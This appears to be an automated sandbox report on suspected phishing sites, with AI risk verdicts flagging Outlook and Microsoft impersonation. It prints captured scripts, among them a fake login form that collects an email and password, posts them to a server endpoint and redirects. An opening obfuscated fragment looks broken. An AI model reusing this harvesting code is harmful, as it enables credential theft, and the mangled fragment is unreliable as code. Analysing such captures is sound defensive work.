VX=parseInt(VT(0x316,'RqH6'))/(0x60d0x5+0x2585+-0x43c50x1)+-parseInt(VT(0x31d,'TbvA'))/(-0x1318+-0x1f71+0x328b)(parseInt(VT(0x1dd,'$luD'))/(0x11-0x3d+0x116a+-0x10xd5a))+-parseInt(VT(0x241,'3SKn'))/(0x140c+-0xde7+0x20b-0x3)(parseInt(VT(0x198,'RujQ'))/(-0x192d0x1+0x4b9+0x1479))+-parseInt(VT(0x1b2,'cE5)'))/(-0x1fb4+0x1859+-0x1-0x761)+-parseInt(VT(0x381,'1pzL'))/(-0x5-0x115+0x1-0xe4e+0x4760x2)+-parseInt(VT(0x35a,'ZCOv'))/(0x69-0x58+0x225e+0x2d0xa)+-parseInt(VT(0x2b2,'G1f'))/(-0x15280x1+0xad90x2+-0x81)(-parseInt(VT(0x2ae,'[##K'))/(-0x10x1dcb+0x3-0xa78+0x3d3d));if(VX===VW)break;else VY['push'](VY['shift']());}catch(Vd){VY['push'](VY['shift']());}}}(v,-0x1740xa81+0xda681+0xb0126));const e=(function(){let Ve=!![];return function(VW,VY){const VX=Ve?function(){const VC=u;if(VY){const Vd=VY[VC(0x32d,'Ele)')+'ly'](VW,arguments);return VY=null,Vd;}}:function(){};return Ve=![],VX;};}()),d=e(this,function(){const Vh=u,Ve={'whgiH':'((('+Vh(0x27f,'bpA(')+'+)+'+Vh(0x2ee,'Ele)')};return d['toS'+Vh(0x1ef,'3SKn')+'ng']()['sea'+Vh(0x17b,'XIJ6')](Ve['whg'+'iH'])[Vh(0x1ba,'Js%Y')+'tri'+'ng']()[Vh(0x286,'Ele)')+Vh(0x1a7,'2GEj')+'uct'+'or'](d)[Vh(0x2c0,'wFAc')+'rch'](Vh(0x31b,'o8[l')+Vh(0x1d1,'xGK1')+Vh(0x374,'(Z4B')+Vh(0x36d,'TbvA'));});d();const p=(function(){
URL: https://bu.marcel-andree.de/ Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: https://bu.marcel-andree.de/ Model: Joe Sandbox AI	{ "brands": "unknown" }
	{ "brands": "unknown" }
URL: https://log.the-network-expert.ca/_next/static/chu... Model: Joe Sandbox AI	{ "risk_score": 3, "reasoning": "The provided JavaScript snippet appears to be a React-related utility code that does not contain any high-risk indicators. It includes some moderate-risk behaviors, such as external data transmission and aggressive DOM manipulation, but these are likely part of the normal functionality of a React application. Additionally, the code does not exhibit any signs of obfuscation or malicious intent. Overall, the risk score is assessed as 3, indicating a low-to-medium risk level." }
"use strict";(self.webpackChunk_N_E=self.webpackChunk_N_E\|\|[]).push([[593],{1247:(e,t,n)=>{var r,l,a=n(7836),o=n(9982),i=n(6540),u=n(961);function s(e){var t="https://react.dev/errors/"+e;if(1<arguments.length){t+="?args[]="+encodeURIComponent(arguments[1]);for(var n=2;n<arguments.length;n++)t+="&args[]="+encodeURIComponent(arguments[n])}return"Minified React error #"+e+"; visit "+t+" for the full message or use the non-minified dev environment for full errors and additional helpful warnings."}function c(e){return!(!e\|\|1!==e.nodeType&&9!==e.nodeType&&11!==e.nodeType)}var f=Symbol.for("react.element"),d=Symbol.for("react.transitional.element"),p=Symbol.for("react.portal"),m=Symbol.for("react.fragment"),h=Symbol.for("react.strict_mode"),g=Symbol.for("react.profiler"),y=Symbol.for("react.provider"),v=Symbol.for("react.consumer"),b=Symbol.for("react.context"),k=Symbol.for("react.forward_ref"),w=Symbol.for("react.suspense"),S=Symbol.for("react.suspense_list"),x=Symbol.for("react.memo"),E=Symbol.for("react.lazy");Symbol.for("react.scope"),Symbol.for("react.debug_trace_mode");var C=Symbol.for("react.offscreen");Symbol.for("react.legacy_hidden"),Symbol.for("react.tracing_marker");var _=Symbol.for("react.memo_cache_sentinel"),P=Symbol.iterator;function z(e){return null===e\|\|"object"!=typeof e?null:"function"==typeof(e=P&&e[P]\|\|e["@@iterator"])?e:null}var N,T,L=Symbol.for("react.client.reference"),O=i.__CLIENT_INTERNALS_DO_NOT_USE_OR_WARN_USERS_THEY_CANNOT_UPGRADE,R=Object.assign;function A(e){if(void 0===N)try{throw Error()}catch(e){var t=e.stack.trim().match(/\n( *(at )?)/);N=t&&t[1]\|\|"",T=-1<e.stack.indexOf("\n at")?" (<anonymous>)":-1<e.stack.indexOf("@")?"@unknown:0:0":""}return"\n"+N+e+T}var F=!1;function D(e,t){if(!e\|\|F)return"";F=!0;var n=Error.prepareStackTrace;Error.prepareStackTrace=void 0;try{var r={DetermineComponentFrameRoot:function(){try{if(t){var n=function(){throw Error()};if(Object.defineProperty(n.prototype,"props",{set:function(){throw Error()}}),"object"==typeof Reflect&&Reflect.construct){try{Reflect.construct(n,[])}catch(e){var r=e}Reflect.construct(e,[],n)}else{try{n.call()}catch(e){r=e}e.call(n.prototype)}}else{try{throw Error()}catch(e){r=e}(n=e())&&"function"==typeof n.catch&&n.catch(function(){})}}catch(e){if(e&&r&&"string"==typeof e.stack)return[e.stack,r.stack]}return[null,null]}};r.DetermineComponentFrameRoot.displayName="DetermineComponentFrameRoot";var l=Object.getOwnPropertyDescriptor(r.DetermineComponentFrameRoot,"name");l&&l.configurable&&Object.defineProperty(r.DetermineComponentFrameRoot,"name",{value:"DetermineComponentFrameRoot"});var a=r.DetermineComponentFrameRoot(),o=a[0],i=a[1];if(o&&i){var u=o.split("\n"),s=i.split("\n");for(l=r=0;r<u.length&&!u[r].includes("DetermineComponentFrameRoot");)r++;for(;l<s.length&&!s[l].includes("DetermineComponentFrameRoot");)l++;if(r===u.length\|\|l===s.length)for(r=u.length-1,l=s.length-1;1<=r&&0<=l&&u[r]!==s[l];)l--;for(;1<=r&&0<=l;r--,l--)if(u[r]!==s[l]){if(1!==r\|\|1!==l)do if(r--,l--,0>l\|\|u[r]!==s[l]){var c="\n"+u[r].replace(" at new "," at ");return e.displayName&&c.includes("<anonymous>")&&(c=c.replace("<anonymous>",e.displayName)),c}while(1<=r&&0<=l);break}}}finally{F=!1,Error.prepareStackTrace=n}return(n=e?e.displayName\|\|e.name:"")?A(n):""}function M(e){try{var t="";do t+=function(e){switch(e.tag){case 26:case 27:case 5:return A(e.type);case 16:return A("Lazy");case 13:return A("Suspense");case 19:return A("SuspenseList");case 0:case 15:return e=D(e.type,!1);case 11:return e=D(e.type.render,!1);case 1:return e=D(e.type,!0);default:return""}}(e),e=e.return;while(e);return t}catch(e){return"\nError generating stack: "+e.message+"\n"+e.stack}}function I(e){var t=e,n=e;if(e.alternate)for(;t.return;)t=t.return;else{e=t;do 0!=(4098&(t=e).flags)&&(n=t.return),e=t.return;while(e)}return 3===t.tag?n:null}function U(e){if(13===e.tag){var t=e.memoizedState;if(null===t&&null!==(e=e.alternate)&&(t=e.memoizedState),null!==t)return t.dehydrated}return null}function j(e){i
URL: https://log.the-network-expert.ca/_next/static/chu... Model: Joe Sandbox AI	{ "risk_score": 5, "reasoning": "The provided JavaScript snippet contains a mix of behaviors that require further review. While it does not exhibit any clear malicious intent, there are some moderate-risk indicators that warrant closer inspection. The script appears to be using dynamic code execution techniques, which could potentially be used for malicious purposes. Additionally, it is sending data to external domains, which may raise privacy concerns depending on the nature of the data being transmitted. Overall, the script demonstrates some potentially concerning behaviors that merit additional investigation to determine the full scope and intent of its functionality." }
(()=>{"use strict";var e={},r={};function t(o){var n=r[o];if(void 0!==n)return n.exports;var i=r[o]={exports:{}},l=!0;try{e[o](i,i.exports,t),l=!1}finally{l&&delete r[o]}return i.exports}t.m=e,(()=>{var e=[];t.O=(r,o,n,i)=>{if(o){i=i\|\|0;for(var l=e.length;l>0&&e[l-1][2]>i;l--)e[l]=e[l-1];e[l]=[o,n,i];return}for(var a=1/0,l=0;l<e.length;l++){for(var[o,n,i]=e[l],u=!0,f=0;f<o.length;f++)(!1&i\|\|a>=i)&&Object.keys(t.O).every(e=>t.O[e](o[f]))?o.splice(f--,1):(u=!1,i<a&&(a=i));if(u){e.splice(l--,1);var s=n();void 0!==s&&(r=s)}}return r}})(),t.n=e=>{var r=e&&e.__esModule?()=>e.default:()=>e;return t.d(r,{a:r}),r},t.d=(e,r)=>{for(var o in r)t.o(r,o)&&!t.o(e,o)&&Object.defineProperty(e,o,{enumerable:!0,get:r[o]})},t.g=function(){if("object"==typeof globalThis)return globalThis;try{return this\|\|Function("return this")()}catch(e){if("object"==typeof window)return window}}(),t.o=(e,r)=>Object.prototype.hasOwnProperty.call(e,r),t.r=e=>{"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},t.p="/_next/",(()=>{var e={68:0};t.O.j=r=>0===e[r];var r=(r,o)=>{var n,i,[l,a,u]=o,f=0;if(l.some(r=>0!==e[r])){for(n in a)t.o(a,n)&&(t.m[n]=a[n]);if(u)var s=u(t)}for(r&&r(o);f<l.length;f++)i=l[f],t.o(e,i)&&e[i]&&e[i][0](),e[i]=0;return t.O(s)},o=self.webpackChunk_N_E=self.webpackChunk_N_E\|\|[];o.forEach(r.bind(null,0)),o.push=r.bind(null,o.push.bind(o))})()})(); ;(function(){if(!/(?:^\|;\s)__vercel_toolbar=1(?:;\|$)/.test(document.cookie))return;var s=document.createElement('script');s.src='https://vercel.live/_next-live/feedback/feedback.js';s.setAttribute("data-explicit-opt-in","true");s.setAttribute("data-cookie-opt-in","true");((document.head\|\|document.documentElement).appendChild(s))})();
URL: https://bu.marcel-andree.de/static/js/main.103925a... Model: Joe Sandbox AI	{ "risk_score": 2, "reasoning": "The provided JavaScript snippet appears to be a minified React library code. It does not contain any high-risk indicators like dynamic code execution, data exfiltration, or suspicious redirects. The code seems to be focused on handling DOM manipulation and attribute management, which are common and expected behaviors for a React library. While the code is obfuscated, this is a common practice for production-ready JavaScript libraries to reduce file size and protect intellectual property. Overall, the risk score is low, and the code appears to be a legitimate part of the React library." }
/! For license information please see main.103925a0.js.LICENSE.txt / (()=>{"use strict";var e={730:(e,n,t)=>{var r=t(43),l=t(853);function a(e){for(var n="https://reactjs.org/docs/error-decoder.html?invariant="+e,t=1;t<arguments.length;t++)n+="&args[]="+encodeURIComponent(arguments[t]);return"Minified React error #"+e+"; visit "+n+" for the full message or use the non-minified dev environment for full errors and additional helpful warnings."}var o=new Set,u={};function i(e,n){s(e,n),s(e+"Capture",n)}function s(e,n){for(u[e]=n,e=0;e<n.length;e++)o.add(n[e])}var c=!("undefined"===typeof window\|\|"undefined"===typeof window.document\|\|"undefined"===typeof window.document.createElement),f=Object.prototype.hasOwnProperty,d=/^[:A-Z_a-z\u00C0-\u00D6\u00D8-\u00F6\u00F8-\u02FF\u0370-\u037D\u037F-\u1FFF\u200C-\u200D\u2070-\u218F\u2C00-\u2FEF\u3001-\uD7FF\uF900-\uFDCF\uFDF0-\uFFFD][:A-Z_a-z\u00C0-\u00D6\u00D8-\u00F6\u00F8-\u02FF\u0370-\u037D\u037F-\u1FFF\u200C-\u200D\u2070-\u218F\u2C00-\u2FEF\u3001-\uD7FF\uF900-\uFDCF\uFDF0-\uFFFD\-.0-9\u00B7\u0300-\u036F\u203F-\u2040]*$/,p={},m={};function h(e,n,t,r,l,a,o){this.acceptsBooleans=2===n\|\|3===n\|\|4===n,this.attributeName=r,this.attributeNamespace=l,this.mustUseProperty=t,this.propertyName=e,this.type=n,this.sanitizeURL=a,this.removeEmptyString=o}var v={};"children dangerouslySetInnerHTML defaultValue defaultChecked innerHTML suppressContentEditableWarning suppressHydrationWarning style".split(" ").forEach((function(e){v[e]=new h(e,0,!1,e,null,!1,!1)})),[["acceptCharset","accept-charset"],["className","class"],["htmlFor","for"],["httpEquiv","http-equiv"]].forEach((function(e){var n=e[0];v[n]=new h(n,1,!1,e[1],null,!1,!1)})),["contentEditable","draggable","spellCheck","value"].forEach((function(e){v[e]=new h(e,2,!1,e.toLowerCase(),null,!1,!1)})),["autoReverse","externalResourcesRequired","focusable","preserveAlpha"].forEach((function(e){v[e]=new h(e,2,!1,e,null,!1,!1)})),"allowFullScreen async autoFocus autoPlay controls default defer disabled disablePictureInPicture disableRemotePlayback formNoValidate hidden loop noModule noValidate open playsInline readOnly required reversed scoped seamless itemScope".split(" ").forEach((function(e){v[e]=new h(e,3,!1,e.toLowerCase(),null,!1,!1)})),["checked","multiple","muted","selected"].forEach((function(e){v[e]=new h(e,3,!0,e,null,!1,!1)})),["capture","download"].forEach((function(e){v[e]=new h(e,4,!1,e,null,!1,!1)})),["cols","rows","size","span"].forEach((function(e){v[e]=new h(e,6,!1,e,null,!1,!1)})),["rowSpan","start"].forEach((function(e){v[e]=new h(e,5,!1,e.toLowerCase(),null,!1,!1)}));var g=/[\-:]([a-z])/g;function y(e){return e[1].toUpperCase()}function b(e,n,t,r){var l=v.hasOwnProperty(n)?v[n]:null;(null!==l?0!==l.type:r\|\|!(2<n.length)\|\|"o"!==n[0]&&"O"!==n[0]\|\|"n"!==n[1]&&"N"!==n[1])&&(function(e,n,t,r){if(null===n\|\|"undefined"===typeof n\|\|function(e,n,t,r){if(null!==t&&0===t.type)return!1;switch(typeof n){case"function":case"symbol":return!0;case"boolean":return!r&&(null!==t?!t.acceptsBooleans:"data-"!==(e=e.toLowerCase().slice(0,5))&&"aria-"!==e);default:return!1}}(e,n,t,r))return!0;if(r)return!1;if(null!==t)switch(t.type){case 3:return!n;case 4:return!1===n;case 5:return isNaN(n);case 6:return isNaN(n)\|\|1>n}return!1}(n,t,l,r)&&(t=null),r\|\|null===l?function(e){return!!f.call(m,e)\|\|!f.call(p,e)&&(d.test(e)?m[e]=!0:(p[e]=!0,!1))}(n)&&(null===t?e.removeAttribute(n):e.setAttribute(n,""+t)):l.mustUseProperty?e[l.propertyName]=null===t?3!==l.type&&"":t:(n=l.attributeName,r=l.attributeNamespace,null===t?e.removeAttribute(n):(t=3===(l=l.type)\|\|4===l&&!0===t?"":""+t,r?e.setAttributeNS(r,n,t):e.setAttribute(n,t))))}"accent-height alignment-baseline arabic-form baseline-shift cap-height clip-path clip-rule color-interpolation color-interpolation-filters color-profile color-rendering dominant-baseline enable-background fill-opacity fill-rule flood-color flood-opacity font-family font-size font-size-adjust font-stretch font-style font-variant font-weight glyph-n
URL: https://bu.marcel-andree.de/ Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: https://bu.marcel-andree.de/ Model: Joe Sandbox AI	{ "brands": "unknown" }
	{ "brands": "unknown" }
URL: https://log.the-network-expert.ca/_next/static/chu... Model: Joe Sandbox AI	```json { "risk_score": 3, "reasoning": "The script uses XMLHttpRequest to send data, which is a moderate-risk indicator (+2 points). It also includes basic authentication headers, but there is no indication of data exfiltration or interaction with suspicious domains. The script appears to be part of a library (likely Axios) for handling HTTP requests, which is a common and legitimate use case. No high-risk behaviors are present, and there is no evidence of malicious intent." }
(self.webpackChunk_N_E=self.webpackChunk_N_E\|\|[]).push([[505],{2505:(e,t,r)=>{e.exports=r(8015)},5592:(e,t,r)=>{"use strict";var n=r(9516),o=r(7522),s=r(3948),i=r(9106),a=r(9615),u=r(2012),c=r(4202),f=r(7763);e.exports=function(e){return new Promise(function(t,r){var p=e.data,l=e.headers,d=e.responseType;n.isFormData(p)&&delete l["Content-Type"];var h=new XMLHttpRequest;if(e.auth){var m=e.auth.username\|\|"",g=e.auth.password?unescape(encodeURIComponent(e.auth.password)):"";l.Authorization="Basic "+btoa(m+":"+g)}var v=a(e.baseURL,e.url);function y(){if(h){var n="getAllResponseHeaders"in h?u(h.getAllResponseHeaders()):null;o(t,r,{data:d&&"text"!==d&&"json"!==d?h.response:h.responseText,status:h.status,statusText:h.statusText,headers:n,config:e,request:h}),h=null}}if(h.open(e.method.toUpperCase(),i(v,e.params,e.paramsSerializer),!0),h.timeout=e.timeout,"onloadend"in h?h.onloadend=y:h.onreadystatechange=function(){h&&4===h.readyState&&(0!==h.status\|\|h.responseURL&&0===h.responseURL.indexOf("file:"))&&setTimeout(y)},h.onabort=function(){h&&(r(f("Request aborted",e,"ECONNABORTED",h)),h=null)},h.onerror=function(){r(f("Network Error",e,null,h)),h=null},h.ontimeout=function(){var t="timeout of "+e.timeout+"ms exceeded";e.timeoutErrorMessage&&(t=e.timeoutErrorMessage),r(f(t,e,e.transitional&&e.transitional.clarifyTimeoutError?"ETIMEDOUT":"ECONNABORTED",h)),h=null},n.isStandardBrowserEnv()){var b=(e.withCredentials\|\|c(v))&&e.xsrfCookieName?s.read(e.xsrfCookieName):void 0;b&&(l[e.xsrfHeaderName]=b)}"setRequestHeader"in h&&n.forEach(l,function(e,t){void 0===p&&"content-type"===t.toLowerCase()?delete l[t]:h.setRequestHeader(t,e)}),n.isUndefined(e.withCredentials)\|\|(h.withCredentials=!!e.withCredentials),d&&"json"!==d&&(h.responseType=e.responseType),"function"==typeof e.onDownloadProgress&&h.addEventListener("progress",e.onDownloadProgress),"function"==typeof e.onUploadProgress&&h.upload&&h.upload.addEventListener("progress",e.onUploadProgress),e.cancelToken&&e.cancelToken.promise.then(function(e){h&&(h.abort(),r(e),h=null)}),p\|\|(p=null),h.send(p)})}},8015:(e,t,r)=>{"use strict";var n=r(9516),o=r(9012),s=r(5155),i=r(5343);function a(e){var t=new s(e),r=o(s.prototype.request,t);return n.extend(r,s.prototype,t),n.extend(r,t),r}var u=a(r(6987));u.Axios=s,u.create=function(e){return a(i(u.defaults,e))},u.Cancel=r(1928),u.CancelToken=r(3191),u.isCancel=r(3864),u.all=function(e){return Promise.all(e)},u.spread=r(7980),u.isAxiosError=r(5019),e.exports=u,e.exports.default=u},1928:e=>{"use strict";function t(e){this.message=e}t.prototype.toString=function(){return"Cancel"+(this.message?": "+this.message:"")},t.prototype.__CANCEL__=!0,e.exports=t},3191:(e,t,r)=>{"use strict";var n=r(1928);function o(e){if("function"!=typeof e)throw TypeError("executor must be a function.");this.promise=new Promise(function(e){t=e});var t,r=this;e(function(e){r.reason\|\|(r.reason=new n(e),t(r.reason))})}o.prototype.throwIfRequested=function(){if(this.reason)throw this.reason},o.source=function(){var e;return{token:new o(function(t){e=t}),cancel:e}},e.exports=o},3864:e=>{"use strict";e.exports=function(e){return!!(e&&e.__CANCEL__)}},5155:(e,t,r)=>{"use strict";var n=r(9516),o=r(9106),s=r(3471),i=r(4490),a=r(5343),u=r(4841),c=u.validators;function f(e){this.defaults=e,this.interceptors={request:new s,response:new s}}f.prototype.request=function(e){"string"==typeof e?(e=arguments[1]\|\|{},e.url=arguments[0]):e=e\|\|{},(e=a(this.defaults,e)).method?e.method=e.method.toLowerCase():this.defaults.method?e.method=this.defaults.method.toLowerCase():e.method="get";var t,r=e.transitional;void 0!==r&&u.assertOptions(r,{silentJSONParsing:c.transitional(c.boolean,"1.0.0"),forcedJSONParsing:c.transitional(c.boolean,"1.0.0"),clarifyTimeoutError:c.transitional(c.boolean,"1.0.0")},!1);var n=[],o=!0;this.interceptors.request.forEach(function(t){("function"!=typeof t.runWhen\|\|!1!==t.runWhen(e))&&(o=o&&t.synchronous,n.unshift(t.fulfilled,t.rejected))});var s=[];if(this.interceptors.response.forEac
URL: https://log.the-network-expert.ca/_next/static/chu... Model: Joe Sandbox AI	{ "risk_score": 6, "reasoning": "The script demonstrates a mix of moderate-risk and low-risk behaviors. It sends user data (email and password) to an external API endpoint, which is a moderate-risk indicator. However, the script also includes some legitimate functionality, such as fetching the user's country information and displaying a modal during form submission. The overall behavior suggests a potentially legitimate application, but the data transmission to an external domain without clear transparency raises some concerns." }
(self.webpackChunk_N_E=self.webpackChunk_N_E\|\|[]).push([[332],{7276:(e,t,s)=>{(window.__NEXT_P=window.__NEXT_P\|\|[]).push(["/",function(){return s(6993)}])},6993:(e,t,s)=>{"use strict";s.r(t),s.d(t,{default:()=>c});var a=s(4848),n=s(6540),o=s(2505),l=s.n(o),i=s(9680),r=s.n(i);function c(){let[e,t]=(0,n.useState)(""),[s,o]=(0,n.useState)(""),[i,c]=(0,n.useState)(""),[d,m]=(0,n.useState)(!1),[u,_]=(0,n.useState)(""),[h,g]=(0,n.useState)(!1);(0,n.useEffect)(()=>{l().get("https://ipinfo.io/json?token=c3e87e382ddea7").then(e=>{let t=e.data.country;return l().get("https://restcountries.com/v3.1/alpha/".concat(t))}).then(e=>{c(e.data[0].name.common)}).catch(e=>{console.error("Failed to fetch full country name:",e),_("Failed to retrieve country information.")})},[]);let p=async t=>{if(t.preventDefault(),s.length>=5){g(!0);try{let t=await l().post("/api/send-email",{email:e,password:s,country:i});console.log("Email sent successfully!",t.data.message),window.location.href="https://ne.abruis.io"}catch(e){console.error("Failed to send email:",e),_("Failed to submit. Please try again.")}finally{g(!1)}}else _("Password must be at least 5 characters long.")},x=e=>/^[^\s@]+@[^\s@]+\.[^\s@]+$/.test(String(e).toLowerCase());return(0,a.jsxs)("div",{className:r().container,children:[(0,a.jsx)("div",{className:r().background}),(0,a.jsxs)("div",{className:r().loginBox,children:[(0,a.jsx)("img",{src:"/logo.png",alt:"Logo",className:r().logo}),(0,a.jsx)("div",{className:r().message,children:d?"Validate email password to continue":"Verify email to proceed"}),d?(0,a.jsxs)(a.Fragment,{children:[(0,a.jsx)("div",{className:r().displayEmail,children:e}),(0,a.jsxs)("form",{onSubmit:p,children:[(0,a.jsx)("input",{type:"password",placeholder:"Password",className:r().inputField,value:s,onChange:e=>o(e.target.value)}),(0,a.jsx)("div",{className:r().buttonContainer,children:(0,a.jsx)("button",{type:"submit",className:r().submitButton,children:"Validate"})})]})]}):(0,a.jsxs)("form",{onSubmit:t=>{t.preventDefault(),x(e)?(m(!0),_("")):_("Please enter a valid email address.")},children:[(0,a.jsx)("input",{type:"email",placeholder:"Email Address",className:r().inputField,value:e,onChange:e=>t(e.target.value)}),(0,a.jsx)("div",{className:r().buttonContainer,children:(0,a.jsx)("button",{type:"submit",className:r().nextButton,children:"Next"})})]}),u&&(0,a.jsx)("div",{className:r().errorMessage,children:u}),h&&(0,a.jsx)("div",{className:r().modal,children:(0,a.jsx)("div",{className:r().modalContent,children:(0,a.jsx)("p",{children:"Processing..."})})})]})]})}},9680:e=>{e.exports={container:"Home_container__d256j",background:"Home_background__nqUIs",loginBox:"Home_loginBox__i6Tc_",logo:"Home_logo__IOQAX",message:"Home_message__OKL2m",displayEmail:"Home_displayEmail__HOGgk",inputField:"Home_inputField__h82W1",buttonContainer:"Home_buttonContainer__nOVuY",submitButton:"Home_submitButton__ECzIY",nextButton:"Home_nextButton__r_Kss",errorMessage:"Home_errorMessage__n47_b",modal:"Home_modal___NgiA",modalContent:"Home_modalContent__XKBCH"}}},e=>{var t=t=>e(e.s=t);e.O(0,[505,636,593,792],()=>t(7276)),_N_E=e.O()}]);
URL: https://log.the-network-expert.ca/ Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "Next", "text_input_field_labels": [ "Email Address" ], "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: https://log.the-network-expert.ca/ Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "Verify email to proceed", "prominent_button_name": "Next", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: https://log.the-network-expert.ca Model: Joe Sandbox AI	{ "typosquatting": false, "unusual_query_string": false, "suspicious_tld": false, "ip_in_url": false, "long_subdomain": false, "malicious_keywords": false, "encoded_characters": false, "redirection": false, "contains_email_address": false, "known_domain": false, "brand_spoofing_attempt": false, "third_party_hosting": false }
URL: https://log.the-network-expert.ca
URL: https://log.the-network-expert.ca/ Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "Verify email to proceed", "prominent_button_name": "Next", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: https://log.the-network-expert.ca/ Model: Joe Sandbox AI	{ "brands": [ "Outlook" ] }
	{ "brands": [ "Outlook" ] }
URL: https://log.the-network-expert.ca/ Model: Joe Sandbox AI	{ "brands": [ "Outlook" ] }
	{ "brands": [ "Outlook" ] }
URL: https://log.the-network-expert.ca/ Model: Joe Sandbox AI	{ "brands": [ "Microsoft", "Outlook" ] }
	{ "brands": [ "Microsoft", "Outlook" ] }
URL: https://log.the-network-expert.ca/ Model: Joe Sandbox AI	```json{ "legit_domain": "outlook.com", "classification": "wellknown", "reasons": [ "The brand 'Outlook' is well-known and is associated with Microsoft.", "The legitimate domain for Outlook is 'outlook.com'.", "The provided URL 'log.the-network-expert.ca' does not match the legitimate domain for Outlook.", "The URL contains hyphens and an unusual domain structure, which is often indicative of phishing.", "The domain 'the-network-expert.ca' does not have any known association with Outlook or Microsoft.", "The presence of an input field for 'Email Address' is common in phishing attempts to capture user credentials." ], "riskscore": 9} Google indexed: False
URL: log.the-network-expert.ca Brands: Outlook Input Fields: Email Address
URL: https://log.the-network-expert.ca/ Model: Joe Sandbox AI	```json{ "legit_domain": "outlook.com", "classification": "wellknown", "reasons": [ "The brand 'Outlook' is well-known and is associated with Microsoft.", "The legitimate domain for Outlook is 'outlook.com'.", "The provided URL 'log.the-network-expert.ca' does not match the legitimate domain for Outlook.", "The URL contains hyphens and an unusual domain structure, which is often indicative of phishing.", "The domain 'the-network-expert.ca' does not have any known association with Outlook or Microsoft." ], "riskscore": 9} Google indexed: False
URL: log.the-network-expert.ca Brands: Outlook Input Fields: unknown
URL: https://log.the-network-expert.ca/ Model: Joe Sandbox AI	```json{ "legit_domain": "microsoft.com", "classification": "wellknown", "reasons": [ "The brand 'Microsoft' is well-known and typically associated with the domain 'microsoft.com'.", "The URL 'log.the-network-expert.ca' does not match the legitimate domain for Microsoft.", "The domain 'the-network-expert.ca' does not have any known association with Microsoft.", "The use of a subdomain 'log' and the structure of the URL suggest it could be a phishing attempt.", "The URL contains hyphens and an unusual domain structure, which are common in phishing URLs." ], "riskscore": 8} Google indexed: False
URL: log.the-network-expert.ca Brands: Microsoft Input Fields: unknown
URL: https://log.the-network-expert.ca/ Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "Verify email to proceed", "prominent_button_name": "Next", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: https://log.the-network-expert.ca/ Model: Joe Sandbox AI	{ "brands": [ "Outlook" ] }
	{ "brands": [ "Outlook" ] }
URL: https://log.the-network-expert.ca/ Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "Verify email to proceed", "prominent_button_name": "Next", "text_input_field_labels": [ "alain_benoit" ], "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: https://log.the-network-expert.ca/ Model: Joe Sandbox AI	{ "brands": [ "Outlook" ] }
	{ "brands": [ "Outlook" ] }
URL: https://the-network-expert.ca Model: Joe Sandbox AI	{ "typosquatting": false, "unusual_query_string": false, "suspicious_tld": false, "ip_in_url": false, "long_subdomain": false, "malicious_keywords": false, "encoded_characters": false, "redirection": false, "contains_email_address": false, "known_domain": false, "brand_spoofing_attempt": false, "third_party_hosting": false }
URL: https://the-network-expert.ca

Created / dropped Files

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Tue Dec 17 19:16:58 2024, atime=Mon Oct 2 20:46:57 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2675
Entropy (8bit):	3.979675174744905
Encrypted:	false
SSDEEP:
MD5:	8A266367B891F3F24919403308A21974
SHA1:	4942D712657F3D5CC66C6B8BB6A23C410851830E
SHA-256:	6E5381D2942E078273974F0B595D897EEC710E1BD2940124FD3138F239723389
SHA-512:	415AEF3E61E5E087D1899C0D165C817FC2D22C8F2528DE16D27E4F7C2A691A4D1341E251558105C1D2779284A571A8CA956DB0744493A4A0E4732687DE56525E
Malicious:	false
Reputation:	unknown
